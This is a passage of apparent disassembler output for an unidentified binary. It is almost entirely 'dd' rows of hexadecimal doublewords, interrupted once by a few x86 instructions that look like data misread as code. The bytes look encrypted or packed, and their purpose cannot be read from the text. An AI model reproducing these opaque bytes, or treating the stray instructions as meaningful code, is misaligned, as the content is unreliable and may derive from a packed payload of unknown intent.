16DA631Ah, 0B1B8D1D2h, 293070DCh, 0C50CEA58h, 84439D0Dh dd 16D670D1h, 33D52E18h, 0F081B728h, 0D1D02085h, 7770E38h dd 0F1D815DDh, 0D6D0E990h, 0A8FA0059h, 726A9B29h, 0BA2F80D4h dd 4FB8C0CBh, 0F784008Dh, 0E5CA52FBh, 0B000B916h, 0A6DB807Ah dd 511475Ah, 31535849h, 3483AE1Dh, 0A3378B4Bh, 0FD33C019h dd 1E567843h, 308AB011h, 304F5018h, 0C63220C1h, 18800D9Ah dd 0AE16BD92h, 48C0D5DDh, 113F5619h, 31F70B45h, 11801D90h dd 62AC75C5h, 9698DB14h, 0F3037D34h, 111F561Dh, 7E16B892h dd 0CB781049h, 0E3F400A5h, 0B16550C3h, 0A2E80075h, 342BCE1Dh dd 0D930B0D7h, 7FB84803h, 0DAB403ADh, 59FE07E9h, 5A8051h dd 0FD08B934h, 90F817F8h, 0C616DD0Ch, 3C9A913Dh, 3E18377Dh dd 7931D05Bh, 58380660h, 3DA61127h, 0B08C1705h, 2018240Bh dd 3D379C00h, 5DAE212Ah, 57D8EBB5h, 0D68CA054h, 9884A0EAh dd 709D017Fh, 814BDC6Ch, 209C401Fh, 69F0B4F5h, 6F0D0E8h dd 242BC907h, 0E7EE3FF0h, 0A075BAA6h, 0FAC0B424h, 0B05417BEh dd 0AD4D145Eh, 2B0A08B2h, 10A0C7B6h, 0B8A68A3Fh, 492D8B39h dd 0C9998041h, 72F5391h, 9E0499A7h, 314C8023h, 0A8C3F93Fh dd 0F916DCF1h, 0F0C4B515h, 4F70A1Bh, 0A0F0EEC6h, 17CA1FE4h dd 40AB0009h, 3A320FDh, 2CC288A0h, 0EED01900h, 0B2781110h dd 0F0ECA8ABh, 0DAF9181Dh, 764B106Bh, 0D2D13D6Fh, 40581422h dd 482FB044h, 860E4C82h, 0F0A0AD7Dh, 7801CA97h, 8E18D060h dd 50FD2062h, 0E41C88Dh, 49D3AC26h, 8717EF23h, 0C7B44CC1h dd 4E7F281Ch, 4B06FC69h, 97844E5h, 7950BFA6h, 6BF06018h dd 0EB84780h, 0DFDEAD81h, 504E80E0h, 4400727Ah, 4877D7A1h dd 2A55C58h, 0C60228D2h, 1C40AD51h, 1603ED90h, 59F94281h dd 0AB582454h, 58771C34h, 20611010h, 0A4B35A80h, 0A63C2010h dd 7B70EFF6h, 92102D09h, 81A43AD5h, 7E08B804h, 8497C841h dd 28875825h, 40C5A631h, 59584F78h, 19487F3Bh, 0CB59A813h dd 0B8009C55h, 2463C786h, 0D8343179h, 20E5A839h, 0EB407744h dd 0A1B700AEh, 0CFF87F19h, 61007C70h, 76CD3FCBh, 3642C0Eh dd 15EA4210h, 67880137h, 2579058Ah, 0FE3C822Dh, 782241F6h dd 0F835C11Dh, 8A0F575Fh, 0BBC782E7h, 0EF659724h, 2688060Ch dd 8ACCE58Ch, 0E306C215h, 1183C382h, 0E7B7ED84h, 1C0E53Dh dd 60FB020Bh, 5D328388h, 87DC80EAh, 0E28A5200h, 20C25582h dd 0D88B1FFh, 8353452h, 0EA52604Bh, 83837857h, 756BB31h dd 252D8A55h, 7CAD9255h, 45E1490Dh, 0C6812387h, 2309834Dh dd 87C7E323h, 411D8C5Dh, 0B70DF369h, 0E831D318h, 2FA1B1EAh dd 3413B5Ch, 0E9180D22h, 54AF5B59h, 5EBB0153h, 8A558F24h dd 0CCF8F5D4h, 0E40EC482h, 0C75A833Eh, 0E1CE22F4h, 7ECC215h dd 268112B9h, 0AEA0144h, 764EBF39h, 1AD2E0FDh, 302086A4h dd 8C673162h, 0D655517Eh, 0C582F882h, 48064D85h, 0EA41ED58h dd 1781733Bh, 0F66E06E8h, 0FFC8D82Bh, 7E14350Ah, 0EA06E00Ah dd 1E282053h, 0AE68A56h, 43A124F1h, 61902584h, 1A90CF02h dd 695A0880h, 0A3AA6DFAh, 750FAF0Eh, 0E8C05C6h, 82E8EA18h dd 3CBFB61Eh, 9C94E929h, 2E00D5E7h, 6B03640Bh, 650D12Ah dd 0E4FB5B07h, 387BC05Fh, 0E721F603h, 0E4E90242h, 47BC5421h dd 5CD9D012h, 7701BA52h, 0F872D27Fh, 0E14042DAh, 8B66218h dd 4586EA4Eh, 0C58C5B1Dh, 75B90C7Eh, 3F730ACAh, 90A9C832h dd 0D8F80684h, 576BE56h, 3DEAEB92h, 92735D90h, 69A90348h dd 19741DD0h, 0EA1256F8h, 155F6826h, 0D4020F60h, 6CA90489h dd 0CA0CD720h, 0F8308510h, 2B691018h, 2547CD26h, 0A8AB984h dd 0C20754EAh, 0C50EC81h, 0F0D8C780h, 0D05D0246h, 1FDDE964h dd 0C2A0A78Fh, 5AD70866h, 93FAF673h, 581A5667h, 3A27CA63h dd 8B81010Ch, 0C481240Ch, 0B114A804h, 0AAE9D00Ch, 3C8B0E48h dd 74182414h, 0C87100Ah, 8177F780h, 463AF8ADh, 29590CC0h dd 1815AD5h, 0A668DCC3h, 70EB0171h, 27A90B8Ah, 0FF6E8E83h dd 7968C377h, 0E91C1E6Bh, 0F702B055h, 0DE9046D6h, 6B1C300h dd 5EF531A3h, 334CC421h, 22341E25h, 0A4505B0Fh, 0FB9034E2h dd 3D327CC7h, 77BA3F4Eh, 70682367h, 58109A6Ch, 7D6D056Eh dd 0E1719640h, 1012573h, 551A8674h, 8003FEE9h, 26BF5738h dd 0AD4D0A1h, 3C8BFA29h, 0A6E90662h, 807646DEh, 0CA88430Eh dd 79831459h, 6B5EE33h, 0E6F875Ch, 0A87BB0C6h, 688957BBh dd 2163AEE7h, 0E9883F06h, 830F281Fh, 1C8985ECh, 0E08FBE06h dd 0C6010774h, 0CC9B6858h, 343E8926h, 0D174B924h, 8B0E9EB0h dd 6A1F0ABh, 24F78F1Eh, 414C582Ch, 401CE1E1h, 16BD554Fh dd 0E844E00h, 129FF581h, 0E9280C36h, 294414DEh, 6232FE77h dd 82F70E1Bh, 614D5DF1h, 83F7534Ch, 0FF1A3384h, 0E4075F6Ch dd 3BDE1E50h, 208B89FEh, 3087F659h, 665A7BF7h, 3433D3C7h dd 0D06316Dh, 41EFB303h, 38FA70A6h, 0C3C25453h, 483168E9h dd 0F0EF0116h, 102B656Eh, 2D1700BBh, 3B903E1Ah, 5D80114h dd 3E5B2907h, 5884143h, 0E5685136h, 0E2BB3743h, 83485405h dd 0ABA61C87h, 81B241E8h, 288E5448h, 0CCFC3EC2h, 89515C62h dd 0A23540E1h, 262C7168h, 63D7F7h, 337A7E18h, 2809CA81h dd 0F077B29h, 824490A8h, 22109158h, 0E709ED86h, 18DF847Fh dd 63105893h, 67BBC094h, 0C0771742h, 0A52D5BFCh, 0E0EB3E58h dd 0CE30E9F0h, 90682A71h, 0AC51D176h, 48D0510h, 2C805266h dd 5A603B87h, 3602E2C0h, 8A04CAFEh, 9FFC17EFh, 0E9D50AB0h dd 23E1E4B1h, 0E3C537DCh, 1C35F1C6h, 941D345Ch, 0C8B60F07h dd 619C5182h, 1005D714h, 34481F4Eh, 0F1835D1Ch, 931C3E44h dd 712CCD17h, 60B2D987h, 5494B209h, 8B282Bh, 4AA676B2h dd 0EB3AC14Bh, 0F3810007h, 23457A48h, 6D5A36E9h, 0C0269648h dd 56846B66h, 4AD9E689h, 26E9C518h, 84B07937h, 94515FF9h dd 0E94F7095h, 0BFC747C2h, 0F5345DEEh, 95D3E397h, 95B7D46h dd 14020456h, 176038Dh, 2438E908h, 0AD14B6B9h, 0CDF728h dd 0FE5BF920h, 54A9E9C1h dd 8234842Eh, 0F886B32Fh, 0D9F31801h, 590064EDh, 7070F5F8h dd 30ACA9E1h, 0F8A4424Dh, 91790AC0h, 0A491A414h, 0E36ACE5Dh dd 0C0E9C1DAh, 9ABB44DFh, 3C871882h, 643868A2h, 314732Dh dd 0F618E9E2h, 0FDBA0314h, 29D179DEh, 0CB015A90h, 5765948h dd 49954199h, 21B99007h, 2F807DB5h, 9803E6C1h, 0DA296862h dd 0A90558C3h, 47DD5826h, 1230A039h, 7F1CC80h, 0E94B143h dd 0DD599EFDh, 0E328C9F4h, 3C7C4688h, 67F2C33Eh, 972B311Dh dd 0FDB469CBh, 52F4E958h, 2FB300CCh, 4E684B9Dh, 5AF9D464h dd 6CC7BD00h, 210533E3h, 4FAD2A07h, 9479D1E9h, 0E8010AEDh dd 2482C8Bh, 5E08950h, 0E869B746h, 58179116h, 31E90664h dd 0A1938478h, 0E2CF47D5h, 55A2C581h, 0C1012C7Ah, 6BE008E3h dd 4A55D218h, 41185D34h, 3372D868h, 41BB261Fh, 8A354CC0h dd 0D3F7242Bh, 77D803B3h, 0E3B0662Ch, 0AD3E4ADCh, 3DEB0460h dd 5187DD91h, 81C25B34h, 0CEBCC8F7h, 58E6E64Fh, 0FE00AE6Eh dd 0E9C0B353h, 61913009h, 7310210Dh, 9659E0FAh, 0A8018362h dd 84B1E793h, 0BF846C01h, 6A9BE9h, 650EF0BDh, 4D3FF410h dd 0F07611F3h, 5D20C093h, 8247C29h, 8F0D5F76h, 6814047h dd 0BDDDD20h, 2083E926h, 0A0333520h, 1262F69h, 0FF20DAC7h dd 19371A4h, 1603488h, 0A85972B8h, 0BDE2EA52h, 94DAA325h dd 0EA5370h, 77331D1Bh, 0EF288179h, 5F202301h, 3309698Fh dd 0A0203414h, 2E547652h, 0A287F545h, 4BFD2C10h, 7706CB69h dd 84C123Fh, 0D48F849Ch, 28593315h, 0E9F92192h, 925817Dh dd 51E2D1C2h, 0D240E5E8h, 939F274Ah, 2609F635h, 31C3095Bh dd 0CBE081A6h, 880804DAh, 0D8494468h, 598DE3Eh, 0B205640h dd 0CDFE58C5h, 81B24D02h, 8040C6E2h, 22F598E9h, 806D2148h dd 0B9515B54h, 170F5055h, 1BE98170h, 0DEF0A90Dh, 3E2B97A4h dd 3490DB93h, 369D0A44h, 0CF2989CCh, 65F4E79Ch, 9BC19482h dd 5DE8855Fh, 4F984987h, 0F7472F20h, 0E739C1DFh, 5EF8F06h dd 0D6AC2081h, 0B08961ABh, 0B8E1FE24h, 0E183109h, 2057D84Bh dd 7F04ADADh, 0DF897245h, 92D59981h, 0B5B10B64h, 0F06600Ch dd 0C2F32828h, 6E9A5C86h, 871230B0h, 41055756h, 7C9969ECh dd 84FFF707h, 0DCA5D38Dh, 0B9E154DCh, 685E82D0h, 0D99A7810h dd 32EDCFC3h, 899CC6EEh, 9A0B7198h, 0D74AA17h, 8012884h dd 429B335Dh, 16B40631h, 1822B721h, 0D8FBAD03h, 0E0A33AC2h dd 0E591F488h, 0DC062058h, 0DAF700F1h, 8E234C1h, 0C2B00B06h dd 0A9D75980h, 0D8BAD089h, 4378E00Ch, 0E0990C58h, 0DE6B5CB5h dd 5C4D5E20h, 0BD6824CEh, 6A215D42h, 269765BFh, 757C625Eh dd 5D056605h, 9146B6Ah, 430A5C23h, 0B8F87520h, 2C8D2E91h dd 0F526DEE3h, 1B6B3324h, 0D4C0631h, 0E6A626E8h, 0E556508Eh dd 362037D9h, 0B3694668h, 0BA528AE9h, 6674C0C7h, 126214Fh dd 0F40C82D6h, 71C71D43h, 0D73F3FDEh, 83174A48h, 4AC306C1h dd 43B874DDh, 1963EB9h, 215E3B49h, 4577683Dh, 6842924Dh dd 246AC582h, 0BA25BF0Ah, 0F7BD1A80h, 617A0D0Ah, 1483B332h dd 4569C451h, 0CAE2759h, 6B266968h, 7E7AC53Ch, 0C1B1980Bh dd 320F4100h, 0F1BE3FBFh, 0EF0128CDh, 0E9F80BEAh, 199E188Eh dd 0B040684h, 50840FC0h, 34FFC8E0h, 90D62877h, 0E0C48085h dd 0C370EBE6h, 1325E37Dh, 0CC893AEDh, 1A179A10h, 81201EE9h dd 0EBA51BA2h, 8103C066h, 3E4530F1h, 18E7F144h, 1D664D58h dd 2562CB68h, 2E93E622h, 245B4609h, 94E0D821h, 0C1801F5Bh dd 0C83118E8h, 0E2B8FBB0h, 79756812h, 33C10FCDh, 22A5D207h dd 0D8675548h, 75FE4082h, 124CAC8Ch, 74651368h, 0E90E9841h dd 0AC7B5B8h, 0B9B4F028h, 521626F3h, 5C4D1FB6h, 2CD80E5Ah dd 0E9F4C5FEh, 0E01788AFh, 0F0814193h, 7F4CE95Eh, 5C828538h dd 3858F1F6h, 6812EFB0h, 44CF74C2h, 3BD11110h, 7B5D2401h dd 0B2FC021Eh, 71F1630Ch, 0D1F740BFh, 250E9C1h, 541D3BD6h dd 0BD1B1Eh, 30DD43EAh, 0FE59CE29h, 21C802E6h, 0B85062A2h dd 0C6FE577Ah, 0F63F4598h, 20A09E4Bh, 875EF245h, 9A878712h dd 0A4501858h, 39CCD0BFh, 0C17EB2D8h, 2CC5B186h, 0E582C239h dd 757A7C24h, 0E5A29086h, 0AAAF770h, 10450494h, 0AE753DCDh dd 0BB5BBD48h, 12521304h, 0C07CD879h, 12595D40h, 61068068h dd 58D63FDh, 9202790Bh, 0B5BA0290h, 4A9A411Eh, 0C3579FC3h dd 21598B5Fh, 7B40E948h, 0DA8F3AA5h, 0F3A44B0Bh, 828BA2BDh ; --------------------------------------------------------------------------- push ebp mov ebp, esp xchg ch, [ebp+620084EDh] add eax, 41313899h and eax, 0E03E1ECDh and [esi-79A02064h], bh jmp near ptr 3F3B16EEh ; --------------------------------------------------------------------------- dw 95B7h dd 0CDF3F71Fh, 9206AAEEh, 7240C580h, 142EE781h, 0F7771F61h dd 472D52D7h, 74E82989h, 0FE25A048h, 0F480C41Ch, 2FE128C9h dd 2B92FFB8h, 79688430h, 52E69C01h, 6E90AC60h, 0D7939DA6h dd 572DC601h, 84040B18h, 9B0815DFh, 2C6C99Ch, 0E421E865h dd 4CD7E904h, 965E1BD3h, 310D3E48h, 1817BD15h, 1E003758h dd 0C16CC813h, 0F71D03EBh, 815DD1D3h, 0AD759FC2h, 0B2D5E801h dd 8E69B08h, 933069D9h, 482F26BAh, 0EA022E03h, 2230685Dh dd 0E914D766h, 852091F1h, 0A610F295h, 70A71908h, 8F70FE31h dd 970648E6h, 0D5290A03h, 0C6054E69h, 6FB31DECh, 0AD879500h dd 931E538h, 0D765E9F1h, 9C62A89Ah, 8812EB70h, 11C78AECh dd 0B1A26465h, 0ABE95809h, 0C3683661h, 2159E112h, 46A08F04h dd 0F0C60507h, 432D60ABh, 232E5207h, 7CAF801h, 2011513Eh dd 0C08028CAh, 520207E5h, 70C3B151h, 0C98006E1h, 0C1247D73h dd 0F519A545h, 3302ECB1h, 0E218156Ah, 0DF9C886Fh, 40052C79h dd 4C33A384h, 79090537h, 71CC12Ah, 0E05004F3h, 6249E903h dd 4081E543h, 0EEF03C46h, 0F030284Bh, 9E3722h, 6E1EBA78h dd 0DA312516h, 0A9015B2Eh, 3E7FE906h, 0C94D4C30h, 8F131107h dd 0A5F5F51Ah, 5B69EAD4h, 9E14B989h, 8ADF5DE8h, 78D3F66Ah dd 1DBD2504h, 5860280Ch, 7E2C003h, 0FA12C280h, 357AE8B9h dd 0D86D3D98h, 239A0500h, 0C129AED3h, 51DA584Ch, 0A3D1D8D8h dd 856CBF28h, 0C730D390h, 3D2D25EDh, 13A63C34h, 705C814h dd 4E7F5E48h, 6DF4B04h, 3C40D566h, 421C4E73h, 0B07C6F75h dd 86EBDE60h, 2778551Dh, 2E0AC381h, 18876218h, 9C5F74B3h dd 4018A80Ch, 98246EC6h, 0E86B12CAh, 0F712C153h, 3CEE31D0h dd 87813FCBh, 4AEC545Fh, 0E7D1EA61h, 93189F8h, 0EFC15AD7h dd 1CC7F300h, 96E76639h, 8D023D0Ch, 0C1FB01C6h, 4B974BAEh dd 8DD95EBh, 1EA950FFh, 969F22CBh, 12AD2911h, 10F4239Eh dd 0BE2E2D0Bh, 0FE3518ABh, 0C1DD8EEh, 0CE8A4092h, 5128446h dd 41CDC50Fh, 0EEC10873h, 1070796h, 987D3284h, 123C8142h dd 89EC5DFEh, 0F0807B61h, 9E38EDCAh, 0E26FC155h, 322FA0EAh dd 4DE92AC6h, 5B0FBD36h, 0EB09DAF6h, 0F568A8E0h, 0DCBB5F6Ch dd 0C4BD1355h, 0B9D8C037h, 0AF0B53F6h, 0CD295Dh, 893EDC7h dd 5A2048D8h, 0FB76DD02h, 4D000947h, 1DC4C581h, 8191386Fh dd 184C89E5h, 4638802Eh, 0E9136939h, 2C5294D4h, 3E90083Ch dd 15621425h, 4D073868h, 8BD1881Eh, 93305D54h, 53807F51h dd 26B23C52h, 0CB5FDC92h, 30C12120h, 525DC9BAh, 66B81150h dd 2DE72318h, 31AFF0Ch, 0E9570E5Bh, 9C4A4D0Fh, 0B19D2236h dd 6D108F1h, 0F7864E28h, 0C516D3D8h, 0D63A26F7h, 0A8ED01BEh dd 0F050F227h, 0B73EBDF5h, 0EF21924Eh, 0F9DDEA04h, 0DDB2D919h dd 7ECEC53h, 559E5A99h, 16CEA48h, 1E53F8B9h, 7DA853Eh dd 0A8C1E1A8h, 495C715Ch, 1225D05h, 788181CBh, 714D9765h dd 846A0DCh, 145ED8FAh, 7EA8F044h, 97040CB3h, 800E4804h dd 744F4AE6h, 4719455Ah, 21FD05D8h, 0E61E9D9h, 5DC73664h dd 497B6058h, 294FD65Ah, 0D0043CFDh, 0BE6E22A2h, 3EDD686Eh dd 0B4C2D81h, 2D8029E9h, 14E084DFh, 4248465Ah, 22E78F54h dd 698B8CCAh, 52E40F0h, 0BE5F250Bh, 65470930h, 10BA1457h dd 1DDF2926h, 475956FFh, 0EB5457B7h, 0A325636Ch, 0EB7183E2h dd 5021C24Eh, 0CE2D03C0h, 5F4D444Bh, 80EC41D9h, 7447B926h dd 7BD121B2h, 0DA42F9E1h, 53B90C44h, 2C86131Fh, 0DCC57612h dd 9E315A0h, 5CDE4679h, 508FDD03h, 0EB3118C0h, 40F95D73h dd 4F8DF6CBh, 930F507h, 609E5EF7h, 0D3B05013h, 5FF81389h dd 35DA902Dh, 0E0051292h, 14FBE963h, 157132CDh, 598C8169h dd 5D00BBA5h, 81178223h, 26691CCBh, 0A33D52h, 251327C7h dd 0FF6EC383h, 9990A0B5h, 12017D0Fh, 0C81C8BD8h, 0A3276860h dd 0FAF31B77h, 5F73C902h, 0A0145A32h, 0BFC1F409h, 0D473329Eh dd 5F05FA29h, 0C281EA01h, 8B5D0B00h, 0B15B5A0Ah, 0D96861FBh dd 81265205h, 26B4160h, 0E96F4A0Bh, 8C09292Ah, 1C350435h dd 0E5C0CB44h, 605B3B61h, 0B09273E5h, 646F81BCh, 0E6191EE4h dd 0C4296C5Bh, 13AC154Bh, 9751E94h, 4EF94097h, 0F739540h dd 0F6500E9Ch, 0B843D063h, 205A0A60h, 5B2666FDh, 0CD091952h dd 0EE7461DBh, 4E7AF128h, 0D94C131Ch, 509DF1BCh, 0EE805CDFh dd 0E630931Ch, 0C808F49Bh, 0C78601ECh, 0E541C60Ah, 5634C2F0h dd 0AA5B94Ch, 353FD1A8h, 239255Bh, 42604432h, 8B676ADDh dd 4BCD4453h, 649A1262h, 5CB6A0CFh, 10944090h, 0AE1E4426h dd 0BA3C4980h, 998A3E2h, 59CA2987h, 0F05C723h, 683A6D98h dd 1BB143F0h, 506AB982h, 16DBC5E2h, 3E76401Ch, 4D45C63Bh dd 0E53DC1E2h, 0E9CBD404h, 7D80D04Bh, 4C1768BAh, 0B809411Ah dd 0CF0B4827h, 284F3103h, 0C22951C0h, 883CAF1h, 4FAC158h dd 0BBF2CCC0h, 68900B18h, 9472C22h, 7E90F96h, 5E49E058h dd 2508002Ch, 1B0D3C0Eh, 4A392C06h, 7B822DBh, 5D6F14BDh dd 3B48A208h, 10B1CE6Bh, 1A312B1Bh, 5801E25Dh, 17B55157h dd 0D5F7F450h, 0F670D898h, 9405D7Dh, 4D6F2CE9h, 61DC4055h dd 68906C29h, 0CA8B9F20h, 2EA03C6h, 7E88586Ah, 5DAC860h dd 2D6F7826h, 0C15C8701h, 8AD5E998h, 0A0414A2Fh, 0B75380C2h dd 0ADC78097h, 3DBCE1F6h, 95809627h, 3BC309B8h, 0B93C3593h dd 0CB0CCCBCh, 0FE8DC654h, 663BC19Eh, 0C9C6FE59h, 0F8AAECCEh dd 51BB88A1h, 81D2622Dh, 61F7BD14h, 7EFC7224h, 766C267Dh dd 0C223AF9Ch, 7BD2601Eh, 8285960h, 0FB8A1128h, 8874C73Ah dd 20DA0148h, 75E91208h, 56CB4E0Dh, 0E5814E6h, 80E35D49h dd 59244F29h, 0E5236B68h, 2E3504h, 0ADC6F181h, 11A0C4Bh dd 0FB2859C8h, 80772B4Dh, 55A01CC5h, 34E92D52h, 0C321EC81h dd 0C1BA8658h, 3CC004EBh, 0D5D87AF8h, 729A150h, 0E9771947h dd 0AB6949BBh, 7588E107h, 240E2363h, 516FC72Dh, 0B540BB39h dd 7544DDFFh, 33902C4h, 0F328FC82h, 59027AF1h, 0EEE38953h dd 0DAB83446h, 0E1DDF522h, 801A9F27h, 0CB0E989Ch, 82CEDB59h dd 0AEA0C3E3h, 22A84E06h, 73EACF34h, 4649D8D9h, 5FB03Ch dd 165F1FD0h, 0D1D9F759h, 0B4E475B8h, 2FA13813h, 22FE3C00h dd 4C892920h, 32071CFh, 0F1539FB4h, 870588D2h, 55CB7277h dd 7D5D3949h, 2BCBDF6Ah, 0B4E8ACCAh, 75969555h, 0B29782EEh dd 0BCDA80C3h, 0B0408826h, 981DA363h, 24042320h, 0A0382979h dd 54E94A08h, 40700536h, 450CB9E0h, 0EA650650h, 0F9392022h dd 66DAC906h, 0A0C4BECh, 48D1763Bh, 0A6D40381h, 44E3F435h dd 2319F41Eh, 4C2918FFh, 9277E910h, 2C5A1CDDh, 0FAE81EADh dd 0A698497Ch, 0FD8D2D4Ah, 48073C5Eh, 0A4A0614h, 0B0C46C1h dd 13710DA4h, 740E0F09h, 477248A9h, 0D1220460h, 0B645724Eh dd 2D06304Fh, 33F44341h, 5102A597h, 0E3C1B146h, 5EEB0536h dd 0F4F8E246h, 444195F5h, 54E50C92h, 3AB6493Bh, 1C4177A6h dd 683224h, 50441F6Eh, 0E0930558h, 0AFBB25h, 0E8307143h dd 94619B1Dh, 4F490CEAh, 0FFD02183h, 0D258B652h, 6DAE304h dd 7A04550Bh, 99A1F526h, 0A6F12903h, 81D459CEh, 0EB2EA768h dd 0C6BFF827h, 2447DED1h, 3AAF855Dh, 7DF54096h, 11E01D2Ah dd 0ED28BC01h, 0D6ADA008h, 665C8052h, 6FD3D34Ah, 59612D20h dd 0D89C8889h, 3E89FEC0h dd 0B201092Ah, 2C088388h, 3E0E10Ch, 0C5F9E94Ch, 0F1684E0Ah dd 0F4B06A7Fh, 1223FB63h, 0CD4B7CE9h, 8C69DC3Bh, 4F5687A2h dd 0EC49D546h, 6ED30C1h, 718ED0DCh, 0EB89FD18h, 81DD6F24h dd 64BFEBB7h, 0E5EF9911h, 0EDC7A60Bh, 22AB123Ch, 0CEBD9B04h dd 0A69228A8h, 63A21064h, 0F2D4124Eh, 68F944A2h, 981DD22Dh dd 9E29915Ch, 0EC1DD00Dh, 86B01499h, 18156FF7h, 0BF53522h dd 19FB9E9h, 0E1C058DEh, 0BBE5B8BFh, 0A891A68h, 7C527B74h dd 0C8124971h, 0A0C9465Eh, 443B8427h, 0CF810255h, 3D110D91h dd 1D009679h, 29E0AAB0h, 785F64FEh, 0CD870556h, 6801B800h dd 4A29805Bh, 0F8BF8DEFh, 301277F7h, 98005FA0h, 18605BCEh dd 612BF909h, 0F9CAEF7Ch, 0FB577074h, 0CE905F7Ch, 18866817h dd 0AAB7D635h, 9CB85C28h, 0B4455AC6h, 92400396h, 8E05D001h dd 1452251Dh, 322B7B56h, 2D1F8001h, 8C60C151h, 0D6F50681h dd 125D1873h, 76F00363h, 29F1C8C6h, 0B05AF8E8h, 74FC01ADh dd 0E1C1482Ah, 30202108h, 0D525028h, 211C4BB5h, 8F4B4928h dd 5EB3BD81h, 4768C840h, 0E077AB74h, 17D3F618h, 861BF380h dd 0E20C0CF6h, 0CECDB5E9h, 2CD81E28h, 20D349D4h, 557166Eh dd 68DF4105h, 51174A28h, 9CFE7498h, 4DDF888Ah, 0BB535C00h dd 26490557h, 20AB2150h, 657205ECh, 1C297E8Ch, 0F9C3DED8h dd 0CC61621Eh, 76A8F6Eh, 9D78C441h, 0B30F66C2h, 0F62F2A64h dd 0A43118C3h, 52598037h, 4245BA07h, 0A93F086Ah, 29C72BC7h dd 0D9A743CFh, 16B0FA82h, 0E4518A92h, 0F228624Ah, 6A6809BBh dd 0F4873E39h, 79F157C3h, 0E92568F0h, 7B642A7h, 0A58406F0h dd 8B4F3EB8h, 0D3C5637Bh, 96C1222Ch, 4326A190h, 0C42631CCh dd 19F9E50Ch, 48C703C2h, 0F2010F05h, 883EAC2h, 4FA835Eh dd 6AAA5754h, 68051A9Bh, 644B61D7h, 0C00E8051h, 219D562h dd 7A6650B9h, 3E13154h, 2D733446h, 321A6A0Fh, 0A89A6B63h dd 851696C5h, 0BC109B4h, 3E8D0C76h, 5804FB61h, 0F94FF7D1h dd 0EE21E08Bh, 59526593h, 32987931h, 0B2B5540Ch, 0D6716049h dd 68538080h, 943C352Fh, 58A882E4h, 79FF8069h, 191E0074h dd 208B34BFh, 0D758293Bh, 0F3F702B1h, 606E696Ah, 10618A1Dh dd 7F89F683h, 5D044EFCh, 50E926C7h, 0BC137694h, 0EDA05634h dd 855164AFh, 52F0ADD9h, 2FF53144h, 282EC828h, 0C13F886Fh dd 84E13958h, 5966C820h, 0A9483E2h, 69B39D4Fh, 6201059h dd 0F764BE01h, 2B29DDA9h, 6B7DC204h, 0EDC58002h, 39BF663h dd 0A23F65BFh, 0B0EFCC98h, 372F6F36h, 0A8E39ACFh, 69E1F828h dd 88AC6822h, 6311B33h, 45F90D45h, 0A8B9F420h, 66145D92h dd 3EF0D829h, 6E284A1Ch, 0E75960FEh, 5C6FC6CAh, 45F850FCh dd 0AD02EEB4h, 0D12C6468h, 4C4A89Fh, 78E92F7Eh, 2C57CA42h dd 6E55C59h, 0D7E8C094h, 525029A2h, 3F925875h, 183BDF2Dh dd 2652F718h, 16F7BABh, 498A4540h, 4F123E01h, 287A1B0Bh dd 5AEEA5h, 0F7E9DDE4h, 0BD078275h, 85F530FAh, 5948E828h dd 160410A6h, 57FE3109h, 0D1F79F23h, 0FC5F0B3Ch, 0FE68102h dd 4350B15Ah, 0B12839Fh, 525EF2A5h, 18283340h, 0FECAC198h dd 0E90907F1h, 0E2E3C217h, 6C2961C0h, 4E0D0882h, 0ECC20F85h dd 0EE8367E0h, 0D87132C9h, 0ED9B952Dh, 0B5F284DCh, 51D3438Ah dd 0F4CA1912h, 0D8C18D43h, 172E348h, 82981782h, 42CF31AAh dd 0C007FBC2h, 0CB800563h, 0D6C198B7h, 59CF0E88h, 0D749DFF6h dd 519F3C03h, 0FDE9F9D8h, 11EEF75Dh, 1C207147h, 18444C27h dd 526A663h, 84E974A2h, 2C058DD3h, 0C3027001h, 0E9E0B151h dd 4E26CAC5h, 80B9CEFh, 902434C1h, 333B9180h, 1009B911h dd 3B20C46Ah, 0D1B2E45Dh, 0AEFA180h, 1023B07h, 300D0C78h dd 0A218182Bh, 0E47DF371h, 5286F958h, 0CF68800Fh, 0B4711614h dd 0A59995ADh, 40F5CD4Fh, 3931C13Ch, 0E2E94E0Ah, 3D8988C2h dd 9044D7Ch, 0E059F376h, 0D916C325h, 0D1071809h, 439D1C77h dd 92ADD3E5h, 78D4A841h, 36AEEA81h, 0F0ED786Bh, 0B9BC002Fh dd 2C546457h, 0E8010B90h, 0E94B655Fh, 0A750EF34h, 269CB9F1h dd 3ABA91C3h, 28B5FC02h, 8F5CD101h, 0E9C8076Fh, 0DF27289Bh dd 0E9749043h, 4FB08127h, 0C870E902h, 8A050AC0h, 1F455F2Eh dd 56581889h, 31B549E6h, 4F09A081h, 824B291Ch, 0DEBFEDE9h dd 7C16E969h, 0B6E9550Dh, 0F6A0F10h, 0A2464D2Fh, 0DAB91222h dd 0B492562h, 849F05EEh, 540C4628h, 68195D79h, 8D3B3648h dd 56183E25h, 297E52D0h, 0E0CE539Fh, 0A109BF88h, 63AC7159h dd 169FEB9Ah, 0B654551Bh, 9D2C7E0Eh, 9B8D7D6h, 0C2582CC8h dd 0BAC045AAh, 0CEB002A7h, 40629A68h, 5606FC49h, 444F80B5h dd 0D9096F10h, 3D4C5B48h, 90CE9801h, 344F8993h, 82DD5920h dd 0A47CAD6Eh, 0A8400916h, 0DCDD72EBh, 837691F6h, 0E388C1B4h dd 93A249CAh, 9661E528h, 0FC9EE821h, 0C15326C9h, 0EA7CC67h dd 0D2F72BC0h, 80C04D6h, 0FEBE18E5h, 5AD43F25h, 804EDE17h dd 8AF68112h, 1B523E0h, 862B4C49h, 2DCE29D8h, 4A60BBE9h dd 6805565Fh, 732E63E8h, 5CA0A081h, 0D70BE939h, 650BF967h dd 80739C2h, 30FFA25Ah, 7E762243h, 24C3BA53h, 0BD81B8D1h dd 70564BCh, 7048E561h, 3DD78F7h, 0AF43A3F5h, 9E045229h dd 4D6B7A2Ch, 4FB80380h, 0FA7B64FCh, 0F2C39417h, 649A07AAh dd 0D9F23F8Eh, 9A054738h, 1AC40C83h, 0BA62149Fh, 53A6B5A5h dd 0D9ACC753h, 0DD33CAA0h, 0F5EE722Ah, 0BF519394h, 77482322h dd 0C6F6E9C2h, 6E994F7Ch, 0C52666FBh, 51DC689Ah, 5763E9E1h dd 5F05980h, 35390D72h, 2162FA96h, 0BE6D1C1h, 68C863A3h dd 30804DECh, 0E940FACBh, 52EFF556h, 0FE138C5Ch, 0CA82440Ch dd 5913E31Eh, 0EE711065h, 0D490BB58h, 37A5A02h, 0F1C18770h dd 0F735CDD5h, 53C1C916h, 0D10F40ECh, 88C649E1h, 0B9029768h dd 21841D94h, 